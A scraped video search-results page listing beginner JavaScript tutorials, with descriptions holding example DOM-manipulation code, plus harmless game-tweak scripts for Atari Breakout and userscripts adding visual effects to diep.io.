Home
Search results “Document getelementbyid style left”
Learn JS HTML Dom In Arabic #29 - Elements - Style
 
05:33
أهم دروس الكورس شرح تغيير تنسيق ال Css الخاص بالعناصر بالجافا سكريبت
Views: 5137 Elzero Web School
How to create image slideshow using JavaScript
 
17:13
Link for all dot net and sql server video tutorial playlists http://www.youtube.com/user/kudvenkat/playlists Link for slides, code samples and text version of the video http://csharp-video-tutorials.blogspot.com/2015/01/how-to-create-image-slideshow-using.html In this video, we will discuss creating a simple image slideshow using JavaScript. We will be using setInterval() and clearInterval() JavaScript methods to achieve this. We discussed these functions in detail in Part 34 of JavaScript Tutorial. When you click "Start Slide Show" button the image slideshow should start and when you click the "Stop Slide Show" button the image slideshow should stop. For the purpose of this demo we will be using the images that can be found on any windows machine at the following path. C:\Users\Public\Pictures\Sample Pictures At the above location, on my machine I have 8 images. Here are the steps to create the image slideshow using JavaScript. Step 1 : Open Visual Studio and create a new empty asp.net web application project. Name it Demo. Step 2 : Right click on the Project Name in Solution Explorer in Visual Studio and create a new folder with name = Images. Step 3 : Copy the 8 images from C:\Users\Public\Pictures\Sample Pictures to Images folder in your project. Change the names of the images to 1.jpg, 2.jpg etc. Step 4 : Right click on the Project Name in Solution Explorer in Visual Studio and add a new HTML Page. It should automatically add HTMLPage1.htm. Step 5 : Copy and paste the following HTML and JavaScript code in HTMLPage1.htm page. [img id="image" src="/Images/1.jpg" style="width: 150px; height: 150px" /] [br /] [input type="button" value="Start Slide Show" onclick="startImageSlideShow()" /] [input type="button" value="Stop Slide Show" onclick="stopImageSlideShow()" /] [script type="text/javascript"] var intervalId; function startImageSlideShow() { intervalId = setInterval(setImage, 500); } function stopImageSlideShow() { clearInterval(intervalId); } function setImage() { var imageSrc = document.getElementById("image").getAttribute("src"); var currentImageNumber = imageSrc.substring(imageSrc.lastIndexOf("/") + 1, imageSrc.lastIndexOf("/") + 2); if (currentImageNumber == 8) { currentImageNumber = 0; } document.getElementById("image").setAttribute("src", "/Images/" + (Number(currentImageNumber) + 1) + ".jpg"); } [/script] Finally run the application and test it.
Views: 84271 kudvenkat
ANIMATION USING JAVASCRIPT,HTML AND CSS | MUST WATCH!
 
02:30
Hello friends ,I am here with a new video in which i will tell you how can you make an animation using javascript.htmland css. okkkk. here is the soucre code--- ENJOY!! IMPORTANT MESSAGE--(((((((((angle brackets are not allowed in the description so i am using "[" instead of angle brackets okkk but make sure when you COPY this code you replace these"[" with angle brackets okkk)))))))) [!DOCTYPE html] [html] [style] #myContainer { width: 400px; height: 400px; position: relative; background: #b0d7c5; } #myAnimation { width: 50px; height: 50px; position: absolute; background-color: #00b867; } [/style] [body] Click the button below to see the Animation Effect [p] [button onclick="myMove()"]Click Me [/button] [/p] [div id ="myContainer"] [div id ="myAnimation"][/div] [/div] [script] function myMove() { var elem = document.getElementById ("myAnimation"); var pos = 0; var id = setInterval(frame, 10); function frame() { if (pos == 350) { clearInterval(id); } else { pos++; elem.style.top = pos + 'px'; elem.style.left = pos + 'px'; } } } [/script] [/body] [/html] THANKS FOR WATCHING THE VIDEO !! IN THE NEXT VIDEO I WILL TELL YOU HOW TO MAKE LOADERS.. OKKK BYE HAVE FUN
Views: 98 Keshav arora
JavaScript to detect which mouse button is clicked
 
11:32
Link for all dot net and sql server video tutorial playlists http://www.youtube.com/user/kudvenkat/playlists Link for slides, code samples and text version of the video http://csharp-video-tutorials.blogspot.com/2015/01/javascript-to-detect-which-mouse-button.html JavaScript to detect which mouse button is clicked In this video, we will discuss how to use JavaScript and detect which mouse button is clicked. Depending on the browser, event.button or event.which properties of the event object are used to determine which mouse button is clicked. IE 8 & earlier versions use event.button property Left Button 1 Middle Button 4 Right Button 2 IE 9 & later versions and most other W3C compliant browsers use event.which property Left Button 1 Middle Button 2 Right Button 3 Depending on the browser used, the following code returns left, middle and right click codes. [input type="button" value="Click Me" onmouseup="getMouseClickCode(event)" /] [input type="button" value="Clear" onclick="clearText()" /] [br /] [br /] [textarea id="txtArea" rows="3" cols="10"][/textarea] [script type="text/javascript"] function clearText() { document.getElementById("txtArea").value = ""; } function getMouseClickCode(event) { if (event.which) { document.getElementById("txtArea").value += "event.which = " + event.which + "\r\n"; } else { document.getElementById("txtArea").value += "event.button = " + event.button + "\r\n"; } } document.oncontextmenu = disableRightClick; function disableRightClick(event) { event = event || window.event; if (event.preventDefault) { event.preventDefault(); } else { event.returnValue = false } } [/script] Test the above script is tested with Google chrome or IE 9 (or later version). Notice that these browsers support event.which property. Test the above script is tested with IE 8 (or earlier version). Notice that IE & earlier versions support event.button property. The following JavaScript code detects which mouse button is clicked. It works in all versions of IE and most other W3C complaint browsers. [script type="text/javascript"] function whichMouseButtonClicked(event) { var whichButton; if (event.which) { switch (event.which) { case 1: whichButton = "Left Button Clicked"; break; case 2: whichButton = "Middle Button Clicked"; break; case 3: whichButton = "Right Button Clicked"; break; default: whichButton = "Invalid Button Clicked"; break; } } else { switch (event.button) { case 1: whichButton = "Left Button Clicked"; break; case 4: whichButton = "Middle Button Clicked"; break; case 2: whichButton = "Right Button Clicked"; break; default: whichButton = "Invalid Button Clicked"; break; } } alert(whichButton); } document.oncontextmenu = disableRightClick; function disableRightClick(event) { event = event || window.event; if (event.preventDefault) { event.preventDefault(); } else { event.returnValue = false } } [/script] [button onmouseup="whichMouseButtonClicked(event)"]Click Me[/button]
Views: 26798 kudvenkat
JavaScript tutorial 25 - document.write() method in javascript
 
19:48
JavaScript document.write method : document.write(argument); W.K.T. in JavaScript a name followed by pair of parenthesis is identified as a method or function. Hence write is a method or function, because it is followed by pair of parenthesis or brackets. The write method is present within the JavaScript document object; hence we say write method is a member method of document object. To access write method we use dot operator (i.e. also known as member access operator). JavaScript write method is used to write or display some content in the browser window. The content passed to the write method is also known as parameter or argument. To the write method we can pass a single value or an expression i.e. single argument To the write method we can pass multiple values separated by commas i.e. multiple arguments Ex: document.write(2); document.write(“Hello World”); document.write(2+2); document.write(“2”+”2”); document.write(2,2); document.write(“2”,”2”); Note: () parentheses are evaluated inner most to outer most + operators are evaluated from left to right , separators are evaluated from left to right ======================================================== Follow the link for next video: https://youtu.be/NALZOLTnC88 Follow the link for previous video: https://youtu.be/sJut3zRdDIo ========= For more benefits & Be up to date =================== Subscribe to the channel: https://www.youtube.com/chidrestechtu... Like the Facebook fan page: https://www.facebook.com/ManjunathChidre Visit to Chidre's Tech Tutorials website: http://www.chidrestechtutorials.com ========================================================
Shaders in Diep.io? (SCRIPT IN DESCRIPTION)
 
05:40
I made a diep.io shader that creates a trail effect. TAMPERMONKEY SCRIPT (just add to your userscripts in tampermonkey): // ==UserScript== // @name New Userscript // @namespace http://tampermonkey.net/ // @version 0.1 // @description diep.io shader // @author You // @match http://diep.io // @grant none // ==/UserScript== (function() { 'use strict'; var c = document.getElementById('canvas'); var ctx = c.getContext("2d"); var c2 = document.createElement('canvas'); var ctx2 = c2.getContext('2d'); c2.width = c.width; c2.height = c.height; document.getElementsByTagName('body')[0].appendChild(c2); c2.style.position = "absolute"; c2.style.top = "0px"; c2.style.left = "0px"; c2.style.zIndex = -1; window.addEventListener("resize", function() { c2.width = c.width; c2.height = c.height; }, false); c.style.opacity = 0; function loop1() { ctx2.globalAlpha = 0.1; ctx2.drawImage(c, 0, 0); setTimeout(loop1, 1000 / 30); } loop1(); })(); If you enjoyed the video, like, comment, and subscribe, there's no harm in doing it! Check out these channels: https://www.youtube.com/channel/UCLBSp_S27grf3SC-Nv7_QmA https://www.youtube.com/channel/UCO7rnIYnt3hIZTGFGsszYQA https://www.youtube.com/channel/UCdPF-HtDi_XCRe7ixKv5VPw https://www.youtube.com/channel/UCXZ8ycjFBuINRooDDCl71RQ Some Diep.io Websites: http://diepio-conception.wikia.com/wiki/Diep.io_Conception_Wikia http://diepio.wikia.com/wiki/Diep.io_Wikia https://www.reddit.com/r/Diepio/
javascript: Creating some basic html elements at runtime_1
 
11:09
Showing how to create some basic html elements (a div, textbox and button) when the html document loads. Not much but its a good start. If you want the textbox or button in a specific position add (for example): object.style.position = "absolute" then place the object by using object.style.left = "20px" and object.style.top="20px". Change the amount to suit your needs.
Views: 2615 kaoticanomaly
Converting strings to numbers in JavaScript
 
17:14
Link for all dot net and sql server video tutorial playlists http://www.youtube.com/user/kudvenkat/playlists Link for slides, code samples and text version of the video http://csharp-video-tutorials.blogspot.com/2014/11/converting-strings-to-numbers-in.html In this video we will discuss different methods that are available in JavaScript to convert strings to numbers. This example allows the user to enter 2 numbers and add them. Along the way we will learn the use of the following functions 1. parseInt() 2. parseFloat() 3. isNan() Here is the HTML for the web form [table style="border:1px solid black; font-family:Arial"] [tr] [td]First Number[/td] [td][asp:TextBox ID="txtFirstNumber" runat="server"][/asp:TextBox][/td] [/tr] [tr] [td]Second Number[/td] [td][asp:TextBox ID="txtSecondNumber" runat="server"][/asp:TextBox][/td] [/tr] [tr] [td]Result[/td] [td][asp:TextBox ID="txtResult" runat="server"][/asp:TextBox][/td] [/tr] [tr] [td] [/td] [td] [input type="button" value="Add" id="btnAdd"/] [/td] [/tr] [/table] Include the following JavaScript in the head section of the web form. [script type="text/javascript"] function addNumbers() { var firstNumber = document.getElementById("txtFirstNumber").value; var secondNumber = document.getElementById("txtSecondNumber").value; document.getElementById("txtResult").value = firstNumber + secondNumber; } [/script] Set the onclick attribute of the Add button to call the addNumbers() function. The HTML for the button should be as shown below. [input type="button" value="Add" id="btnAdd" onclick="addNumbers()" /] Run the application and enter 20 as the first number and 10 as the second number. Click Add buton. Notice that JavaScript concatenates the numbers instead of adding them. This is because the value property of the textbox is returning the number in a string format. So we need to explicitly do the conversion. This is when parseInt() function is useful. Modify the addNumbers() JavaScript function as shown below. function addNumbers() { var firstNumber = parseInt(document.getElementById("txtFirstNumber").value); var secondNumber = parseInt(document.getElementById("txtSecondNumber").value); document.getElementById("txtResult").value = firstNumber + secondNumber; } Run the application and test. Notice that we now get 30 as expected. Let's do another test. Enter 20.5 as the first number and 10.3 as the second number. Click the Add button. Notice that the decimal part is ignored. To retain the decimal places, use parseFloat() function. function addNumbers() { var firstNumber = parseFloat(document.getElementById("txtFirstNumber").value); var secondNumber = parseFloat(document.getElementById("txtSecondNumber").value); document.getElementById("txtResult").value = firstNumber + secondNumber; } If you leave first number and second number textboxes blank or if you enter text instead of a number, and when you click the Add button, NaN is displayed in result textbox. NaN in JavaScript stands for Not-a-Number. In JavaScript we have isNaN() function which determines whether a value is an illegal number. This function returns true if the value is not a number, and false if not. Modify the addNumbers() JavaScript function as shown below. function addNumbers() { var firstNumber = parseFloat(document.getElementById("txtFirstNumber").value); if (isNaN(firstNumber)) { alert("Please enter a valid number in the first number textbox"); return; } var secondNumber = parseFloat(document.getElementById("txtSecondNumber").value); if (isNaN(secondNumber)) { alert("Please enter a valid number in the second number textbox"); return; } document.getElementById("txtResult").value = firstNumber + secondNumber; } Now, when you leave first number and second number textboxes blank or if you enter text instead of a number, and when you click the Add button, you get relevant validation error messages as expected. Let's make the validation error message a little more relevant: If the first number and second number textboxes are left blank, then we want to display the following validation messages a) First Number is required b) Second Number is required If you enter text instead of number a) Please enter a valid number in the first number textbox b) Please enter a valid number in the second number textbox
Views: 112145 kudvenkat
Google Atari Breakout HACK CHEAT tutorial Java script edit FIREFOX
 
01:14
binds the paddle to the ball. Very simply to do i go over every step CODE: function cheat() { var ball = document.getElementById('breakout-ball'); var paddle = document.getElementById('breakout-paddle'); var buffer = Math.floor((Math.random()*100)+1); var leftVal = parseInt(ball.style.left, 10); if (ball.style.left) { paddle.style.left = (leftVal - buffer) + 'px'; } setTimeout(cheat, 100); } cheat(); should be quight simple too in chrome just try to find where to add java scripts for more info and possibly in the future more hacks: http://stackoverflow.com/questions/16532732/cheat-for-hidden-game-atari-breakout-in-google-image-search/16532928#16532928
Views: 3316 Virtual Prawn
Experiment-6, Web Technology Lab, E-Record
 
19:37
Question : 1. Write JavaScript code to display digital clock. // get time var d= new Date(); // extract hour,minutes and seconds d.getHours d.getMinutes() d.getSeconds() // call the time display function for every one second setInterval("display()", 1000); 2. Write JavaScript code to change background colour for every 30 seconds. //create random colors using rgb function var red = Math.floor(Math.random()*255); var blue = Math.floor(Math.random()*255); var green = Math.floor(Math.random()*255); var color= "rgb("+red+","+green+","+blue+")"; // change or set body background color document.getElementsByTagName("body")[0].style="background-color:"+color; 3. Create event handlers that will increase the font size when a mouse moves over a paragraph and decrease the size when the mouse moves off the paragraph. // To change font size function incSize(){ document.getElementById("para1").style="font-size:28px";} 4. Write JavaScript code to move absolutely-positioned car image when a user clicks the move button and stop the car image when a user clicks the stop button on the following webpage. //sample code to move image function init() { imgObj = document.getElementById('img'); imgObj.style.position= 'relative'; imgObj.style.left = '0px'; } function moveRight() { imgObj.style.left = parseInt(imgObj.style.left) + 1 + 'px'; animate = setTimeout('moveRight()',10); // call moveRight in 20msec } function stop() { clearTimeout(animate); imgObj.style.left = '0px'; } window.onload =init(); 5. Create an array of objects, where each object describes about a student and his/her properties for the name (a string), regno (a string) and year of birth (a number). Iterate through the array of students and display it on the web page. For each student, print the student name and register no like so: "John’s Register Number is UR13CS129". Now use an if/else statement to categorize the students they have date of birth before 2000 and after 2000.
Android Basic Calculator/colorful  Using IntelXdk | Fully Tested On device.
 
18:48
I have explained how to create an Android application using intelXdk in which the app is built on HTML5 . I assume you have basic knowledge of HTML,JAVASCRIPT, AND CSS . # I have written the code to avoid wastage of time . # here is the code , copy and paste them according to the video . #connect your phone via a usb cable so that on every Ctrl+s , you can see the changes as live layout . #The code . // for Button Clearing // will clear all input fields . document.getElementById('result').value=""; document.getElementById('numFirst').value=""; document.getElementById('numSecond').value=""; // adding , substraction, multiplication , division // just change the sign of each accordingly . var num1 = document.getElementById('numFirst').value; var num2 = document.getElementById('numSecond').value; // these values have to be converted to integer to avoid concatination var result = parseInt(num1)+parseInt(num2); // setting the result field input document.getElementById('result').value=result; // for changing the background color document.body.style.backgroundColor="black"; // themesChange button // this is only changing backgrounds of the buttons in order to make it look colorful if(document.body.style.backgroundColor==="black"){ document.body.style.backgroundColor="darkcyan"; document.getElementById('numFirst').style.backgroundColor="darkcyan"; document.getElementById('numSecond').style.backgroundColor="darkcyan"; document.getElementById('result').style.backgroundColor="darkcyan"; document.getElementById('addition').style.backgroundColor="darkcyan"; document.getElementById('division').style.backgroundColor="darkcyan"; document.getElementById('substraction').style.backgroundColor="darkcyan"; document.getElementById('multiplication').style.backgroundColor="darkcyan"; document.getElementById('clearing').style.backgroundColor="darkcyan"; document.getElementById('themesChange').style.backgroundColor="darkcyan"; } // just to toggle the colors else{ document.body.style.backgroundColor="black"; document.getElementById('numFirst').style.backgroundColor="black"; document.getElementById('numSecond').style.backgroundColor="black"; document.getElementById('result').style.backgroundColor="black"; document.getElementById('addition').style.backgroundColor="darkcyan"; document.getElementById('division').style.backgroundColor="darkcyan"; document.getElementById('substraction').style.backgroundColor="darkcyan"; document.getElementById('multiplication').style.backgroundColor="darkcyan"; document.getElementById('clearing').style.backgroundColor="black"; document.getElementById('themesChange').style.backgroundColor="black"; } // the styling part // you can create an external stylesheet and add the link to the index.html page . // don't forget to put the css file inside angle bracket tags // youtube doesn't allow putting "style -- /style" tags . #numFirst,#numSecond,#result{ margin-top:20px; border-left-width:0px; border-right-width:0px; border-top-width:0px; width:90%; margin-left:20px; background-color:black; color:white; } #result{ margin-bottom:20px; } #additon{ border-width:0px; background-color:cornflowerblue; color:white; } #substraction{ border-width:0px; background-color:blueviolet; color:white; } #division{ border-width:0px; background-color:coral; color:white; } #multiplication{ border-width:0px; background-color:crimson; color:white; } #clearing,#themesChange{ background-color:darkseagreen; color:white; border-width:0px; } // Hope , I have helped you . // Thanks For watching and best of luck .
Views: 781 _ hackTech
EditorCool - скрипт для Brofist.io Editor'а!
 
02:02
Приятного просмотра! Управление: Alt + 1 - 9: выбрать нужный элемент Alt + O: открыть файл Alt + S: сохранить файл Alt + U: загрузить карту Alt + P: начать играть (перезапустить игру) Alt + C: закрыть игру Скрипт: function getId(e){return document.getElementById(e)}function getCl(e){return document.getElementsByClassName(e)}function getTag(e){return document.getElementsByTagName(e)}function copyText(e){var t;(t=document.createElement("p")).id="elementId336",t.style.position="absolute",t.style.left="-9999px",t.style.top="0",t.innerHTML=e,function(e){var t,n,o="_hiddenCopyText_",c="INPUT"===e.tagName||"TEXTAREA"===e.tagName;if(c)t=(g=e).selectionStart,n=e.selectionEnd;else{if(!(g=document.getElementById(o))){var g=document.createElement("textarea");g.style.position="absolute",g.style.left="-9999px",g.style.top="0",g.id=o,document.body.appendChild(g)}g.textContent=e.textContent}var a,i=document.activeElement;g.focus(),g.setSelectionRange(0,g.value.length);try{a=document.execCommand("copy")}catch(e){a=!1}i&&"function"==typeof i.focus&&i.focus(),c?e.setSelectionRange(t,n):g.textContent=""}(t)}setInterval(function(){getId("widgetContainer").style.left=innerWidth-249+"px",getId("widgetContainer").style.top="0px",getId("propertiesContainer").style.left=innerWidth-249+"px",getId("propertiesContainer").style.top=innerHeight-339+"px",getId("toolsContainer").style.top="60px",getId("toolsContainer").style.left=0,getId("sceneManagmentContainer").style.top=0,getId("sceneManagmentContainer").style.left=0},0),getId("widgetContainer").onmousedown=null,getId("propertiesContainer").style.zIndex=1,getId("propertiesContainer").onmousedown=null,getId("toolsContainer").onmousedown=null,getId("sceneManagmentContainer").style.width="177px",getId("sceneManagmentContainer").onmousedown=null,document.onkeydown=function(e){var t=e.keyCode,n=e.altKey;n&&t=="1".charCodeAt()&&getTag("img")[0].click(),n&&t=="2".charCodeAt()&&getTag("img")[1].click(),n&&t=="3".charCodeAt()&&getTag("img")[2].click(),n&&t=="4".charCodeAt()&&getTag("img")[3].click(),n&&t=="5".charCodeAt()&&getTag("img")[4].click(),n&&t=="6".charCodeAt()&&getTag("img")[5].click(),n&&t=="7".charCodeAt()&&getTag("img")[6].click(),n&&t=="8".charCodeAt()&&getTag("img")[7].click(),n&&t=="9".charCodeAt()&&getTag("img")[8].click(),n&&t=="S".charCodeAt()&&getTag("img")[9].click(),n&&t=="O".charCodeAt()&&getTag("img")[10].click(),n&&t=="P".charCodeAt()&&getTag("img")[11].click(),n&&t=="U".charCodeAt()&&getTag("img")[12].click()},getId("playFrame").contentWindow.document.onkeydown=function(e){var t=e.keyCode,n=e.altKey;n&&t=="1".charCodeAt()&&getTag("img")[0].click(),n&&t=="2".charCodeAt()&&getTag("img")[1].click(),n&&t=="3".charCodeAt()&&getTag("img")[2].click(),n&&t=="4".charCodeAt()&&getTag("img")[3].click(),n&&t=="5".charCodeAt()&&getTag("img")[4].click(),n&&t=="6".charCodeAt()&&getTag("img")[5].click(),n&&t=="7".charCodeAt()&&getTag("img")[6].click(),n&&t=="8".charCodeAt()&&getTag("img")[7].click(),n&&t=="9".charCodeAt()&&getTag("img")[8].click(),n&&t=="S".charCodeAt()&&getTag("img")[9].click(),n&&t=="O".charCodeAt()&&getTag("img")[10].click(),n&&t=="P".charCodeAt()&&getTag("img")[11].click(),n&&t=="U".charCodeAt()&&getTag("img")[12].click(),n&&t=="C".charCodeAt()&&editor.closeFrame()}; До новых встреч! :D
Views: 467 H 336
HTML Tutorials for Beginners 6 -  Paragraphs in HTML
 
05:22
html paragraph, html paragraph style, html paragraph size, html paragraph tag tutorial, html paragraph align, html paragraph color, html paragraph position, html paragraphs side by side, html paragraph spacing, html paragraph code, html paragraph border, html paragraph tag, html paragraph next to each other, html paragraph attributes, html css paragraph, html paragraph margin, html paragraph side by side html paragraph html paragraph tag html paragraph spacing html paragraph indent html paragraph style html paragraph width html paragraph line spacing html paragraph new line html paragraph align html paragraph padding html paragraph border html paragraph break html paragraph formatting html paragraph attributes html paragraph auto spacing html paragraph auto line break html paragraph alternative html paragraph and line breaks html paragraph attributes style html paragraph and image html paragraph align vertical html paragraph after table a paragraph html indent a paragraph html center a paragraph html bold a paragraph html style a paragraph html make a paragraph html name a paragraph html link a paragraph html hide a paragraph html underline a paragraph html html paragraph bold html paragraph box html paragraph block html paragraph break wordpress html paragraph break code html paragraph border color html paragraph background colour html paragraph bgcolor html paragraph color html paragraph center html paragraph code html paragraph class html paragraph css html paragraph color red html paragraph content html paragraph character html paragraph columns html paragraph character limit html paragraph definition html paragraph double space html paragraph different color html paragraph design html paragraph display inline html paragraph default display html paragraph does not wrap html paragraph distance html paragraph default margin html paragraph div html paragraph element html paragraph example html paragraph enter html paragraph editor html paragraph ellipsis html paragraph empty space html paragraph editable html paragraph events html paragraph element javascript html paragraph end tag html paragraph font size html paragraph formatting justify html paragraph font bold html paragraph font face html paragraph filler html paragraph float right html paragraph fill width html paragraph first line indent html paragraph font italic html paragraph generator html paragraph gap html paragraph get text html paragraph gradient html paragraph getelementbyid html give paragraph id online html paragraph generator html paragraph code generator html paragraph style generator lorem ipsum html paragraph generator html paragraph height html paragraph header html paragraph hanging indent html paragraph hidden html paragraph horizontal align html paragraph hyperlink html paragraph highlight html paragraph href html paragraph horizontal center html paragraph h1 html paragraph id html paragraph input html paragraph indent all lines html paragraph indent first line html paragraph inline html paragraph inside list item html paragraph input box html paragraph italic html paragraph indent second line html paragraph justify html paragraph justify css html paragraph justify alignment html paragraph javascript html paragraph jump change html paragraph javascript html paragraph right justify html paragraph center justify html paragraph text jquery html paragraph keep formatting html keep paragraph together kode html paragraph html paragraph line break html paragraph left align html paragraph link html paragraph list html paragraph left margin html paragraph line html paragraph length html paragraph left and right html paragraph language html paragraph margin html paragraph max width html paragraph mark html paragraph margin left html paragraph margin top html paragraph multiple lines html paragraph max length html paragraph middle html paragraph maker html paragraph multiple styles html paragraph next line html paragraph no line break html paragraph not wrapping html paragraph next to image html paragraph next to each other html paragraph no spacing html paragraph name html paragraph numbering html paragraph not working n in paragraph html html paragraph onclick html paragraph overflow html paragraph on same line html paragraph options html paragraph over image html paragraph one line html paragraph offset html paragraph or break html paragraph outline html paragraph onload html paragraph properties html paragraph position html paragraph padding left html paragraph padding top html paragraph placeholder html paragraph preserve line breaks html paragraph padding bottom html paragraph position center html paragraph padding right html p paragraph html p paragraph spacing html p space between paragraphs html paragraph quote html paragraph return html paragraph right align html paragraph red color html paragraph remove space after html paragraph rounded corners html paragraph right
Views: 1989 T3SO Tutorials
jQuery to detect which mouse button clicked
 
08:33
Link for all dot net and sql server video tutorial playlists https://www.youtube.com/user/kudvenkat/playlists?sort=dd&view=1 Link for slides, code samples and text version of the video http://csharp-video-tutorials.blogspot.com/2015/04/jquery-to-detect-which-mouse-button.html In this video we will discuss, how to detect which mouse button is clicked using jQuery. With raw JavaScript event object : Depending on the browser, event.button or event.which properties of the event object are used to determine which mouse button is clicked. IE 8 & earlier versions use event.button property Left Button 1 Middle Button 4 Right Button 2 IE 9 & later versions and most other W3C compliant browsers use event.which property Left Button 1 Middle Button 2 Right Button 3 If you are using raw JavaScript event object, the following is the amount of code that you have to write to detect which mouse button is clicked. This code works in all browsers. <html> <head> <title></title> <script src="jquery-1.11.2.js"></script> <script type="text/javascript"> function whichMouseButtonClicked(event) { var whichButton; if (event.which) { switch (event.which) { case 1: whichButton = "Left Button Clicked"; break; case 2: whichButton = "Middle Button Clicked"; break; case 3: whichButton = "Right Button Clicked"; break; default: whichButton = "Invalid Button Clicked"; break; } } else { switch (event.button) { case 1: whichButton = "Left Button Clicked"; break; case 4: whichButton = "Middle Button Clicked"; break; case 2: whichButton = "Right Button Clicked"; break; default: whichButton = "Invalid Button Clicked"; break; } } document.getElementById('divResult').innerHTML = whichButton; } </script> </head> <body style="font-family:Arial"> <input id="btn" type="button" value="Click Me" onmouseup="whichMouseButtonClicked(event)" /> <br /><br /> <div id="divResult"></div> </body> </html> jQuery normalizes which property of the event object so it will work across all browsers. The amount of code you have to write is lot less. <html> <head> <title></title> <script src="jquery-1.11.2.js"></script> <script type="text/javascript"> $(document).ready(function () { $('#btn').mouseup(function (event) { switch (event.which) { case 1: whichButton = "Left Button Clicked"; break; case 2: whichButton = "Middle Button Clicked"; break; case 3: whichButton = "Right Button Clicked"; break; default: whichButton = "Invalid Button Clicked"; break; } $('#divResult').html(whichButton); }); }); </script> </head> <body style="font-family:Arial"> <input id="btn" type="button" value="Click Me" /> <br /><br /> <div id="divResult"></div> </body> </html>
Views: 30771 kudvenkat
*Atari Breakout HACK* Unlimited score easy!
 
01:11
This is a very simple javascript cheat to win atari breakout. MAKE SURE to type 'allow pasting' before pasting the script making it eligable. SCRIPT- function cheat() { var ball = document.getElementById('breakout-ball'); var paddle = document.getElementById('breakout-paddle'); var buffer = Math.floor((Math.random()*100)+1); var leftVal = parseInt(ball.style.left, 10); if (ball.style.left) { paddle.style.left = (leftVal - buffer) + 'px'; } setTimeout(cheat, 100); } cheat(); (Recorded with https://screencast-o-matic.com) (Recorded with https://screencast-o-matic.com)
Views: 52 Shotta Plays
JavaScript to automatically tab to next textbox
 
05:29
Link for all dot net and sql server video tutorial playlists http://www.youtube.com/user/kudvenkat/playlists Link for slides, code samples and text version of the video http://csharp-video-tutorials.blogspot.com/2015/03/javascript-to-automatically-tab-to-next.html In this video we will discuss, how to automatically move the cursor keyboard focus from one textbox to another using JavaScript. Let us understand this with an example. Consider a web page where we need to enter 16 digit bank card number. On this page we have 4 textboxes. Each textbox should allow only 4 numbers. Upon entering the first 4 card numbers in the first textbox, the cursor should automatically move to the second textbox. Upon entering the next 4 card numbers in the second textbox, the cursor should automatically move to the third textbox. Here is the HTML and JavaScript function that automatically sets the focus to the next textbox Card Number : [asp:TextBox ID="txt1" runat="server" Width="50px" MaxLength="4" onkeyup="moveCursor(this, 'txt2')" /] [asp:TextBox ID="txt2" runat="server" Width="50px" MaxLength="4" onkeyup="moveCursor(this, 'txt3')" /] [asp:TextBox ID="txt3" runat="server" Width="50px" MaxLength="4" onkeyup="moveCursor(this, 'txt4')" /] [asp:TextBox ID="txt4" runat="server" Width="50px" MaxLength="4" /] [script type="text/javascript"] function moveCursor(fromTextBox, toTextBox) { // Get the count of characters in fromTextBox var length = fromTextBox.value.length; // Get the value of maxLength attribute from the fromTextBox var maxLength = fromTextBox.getAttribute("maxLength"); if (length == maxLength) { // If the number of charactes typed in the fromText is // equal to the maxLength attribute then set focus on // the next textbox document.getElementById(toTextBox).focus(); } } [/script]
Views: 20364 kudvenkat
JavaScript beginner tutorial 30 - form validation text boxes and passwords
 
11:59
In this video I finally start speaking about form validation. I show you how to check if a form field has been left empty, and how to use a return statement in JavaScript. Don't forget to subscribe: http://www.youtube.com/user/QuentinWatt Social links: ------------------------------------------------------------- Add me on twitter: http://www.twitter.com/QuentinWatt facebook group: https://www.facebook.com/quentin.watt -------------------------------------------------------------
Views: 141056 Quentin Watt Tutorials
Diep.io Mods/Shaders: Diep.io with Shadows (Info in Description)
 
02:07
I added shadows to diep in this new shader that I made (based on Dayshadow's concept art here: https://www.reddit.com/r/Diepio/comments/91pnbm/concept_image_of_diep_shaders/). Instructions for doing this yourself are slightly more complicated, but they will work if you follow them. Get tampermonkey, and paste the following script into a new userscript: // ==UserScript== // @name Diep with Shadows // @namespace http://tampermonkey.net/ // @version 0.1 // @description diep.io shader // @author You // @match https://diep.io // @match http://diep.io // @grant none // ==/UserScript== (function() { 'use strict'; var c = document.getElementById('canvas'); var ctx = c.getContext("2d"); var c2 = document.createElement('canvas'); var ctx2 = c2.getContext('2d'); var c3 = document.createElement('canvas'); var ctx3 = c3.getContext('2d'); c2.width = c.width; c2.height = c.height; c3.width = c.width; c3.height = c.height; document.getElementsByTagName('body')[0].appendChild(c2); document.getElementsByTagName('body')[0].appendChild(c3); c2.style.position = "absolute"; c2.style.top = "0px"; c2.style.left = "0px"; c2.style.zIndex = -1; c3.style.position = "absolute"; c3.style.top = "0px"; c3.style.left = "0px"; c3.style.zIndex = -2; c2.style.filter = "blur(10px) contrast(0%) saturate(0%) brightness(20%)"; window.addEventListener("resize", function() { c2.width = c.width; c2.height = c.height; c3.width = c.width; c3.height = c.height; }, false); var mP = { x: 0, y: 0 }; window.addEventListener("mousemove", function(e) { mP = { x: e.clientX, y: e.clientY }; }, false); c.style.opacity = 1; var i = 0; var shaderButton = document.createElement('button'); document.getElementsByTagName('body')[0].appendChild(shaderButton); shaderButton.style = "position:absolute; top:10px; left:10px;"; shaderButton.innerHTML = "Turn on the shader or something lol"; shaderButton.onclick = function() {input.set_convar('ren_background', false);} function loop1() { i++; ctx3.fillStyle = "hsl(0, 0%, 90%)"; ctx3.fillRect(0, 0, c2.width, c2.height); ctx2.clearRect(0, 0, c2.width, c2.height); ctx2.drawImage(c, 20, 20); setTimeout(loop1, 1000 / 30); } loop1(); })(); Go to diep.io. Press the button in the top left to toggle the shader effects. If you enjoyed the video, like, comment, and subscribe, there's no harm in doing it! Check out these channels: https://www.youtube.com/channel/UCLBSp_S27grf3SC-Nv7_QmA https://www.youtube.com/channel/UCO7rnIYnt3hIZTGFGsszYQA https://www.youtube.com/channel/UCdPF-HtDi_XCRe7ixKv5VPw https://www.youtube.com/channel/UCXZ8ycjFBuINRooDDCl71RQ Some Diep.io Websites: http://diepio-conception.wikia.com/wiki/Diep.io_Conception_Wikia http://diepio.wikia.com/wiki/Diep.io_Wikia https://www.reddit.com/r/Diepio/
JavaScript runtime error Unable to get property checked of undefined or null reference
 
01:03
JavaScript - fix the following error 0x800a138f - JavaScript runtime error: Unable to get property 'checked' of undefined or null reference http://howtodomssqlcsharpexcelaccess.blogspot.ca/2016/03/javascript-fix-following-error.html
Views: 6918 Vis Dotnet
How to Create a Web Preload Screen | HTML Tutorials | CSS Tutorials | JS Tutorials
 
10:05
Create a stunning web Pre-Load Screen [ Splash Screen ] for your web applications.
Views: 82577 Maaz Ali
Учим Java Script 12. Создаем слайдер
 
19:50
